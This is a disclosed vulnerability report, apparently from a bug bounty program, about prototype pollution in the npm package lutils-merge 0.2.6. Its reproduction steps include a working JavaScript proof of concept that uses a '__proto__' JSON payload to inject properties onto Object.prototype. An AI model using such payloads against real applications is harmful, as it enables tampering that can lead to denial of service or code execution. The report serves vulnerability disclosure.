Node.js third-party modules · Report #439107
Prototype pollution attack (lutils-merge)
Validstatus
mediumseverity
6upvotes
17 Dec 2018disclosed
How it was found
Hi team, I would like to report a prototype pollution vulnerability in lutils-merge that allows an attacker to inject properties on Object.prototype.
Module
module name: lutils-merge
version: 0.2.6
npm page: https://www.npmjs.com/package/lutils-merge
Module Description
Merge javascript objects recursively.
Module Stats
79 downloads in the last week
Vulnerability
Vulnerability Description
this vulnerability type is similar to my report #438274 lutils-merge is vulnerable to prototype pollution when it performs a recursive copy of the specified objects.
Steps To Reproduce:
In the following code snippet, "payload" would come from user-input (JSON data).
var merge = require('lutils-merge');
var payload = '{"__proto__":{"polluted":"merge_done !"}}';
var test = {};
console.log("Before: ", test.polluted);
merge({},JSON.parse(payload));
console.log("After: ", test.polluted);
# Wrap up
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Thanks!
## Impact
It causes Denial of Service or RCE in some cases.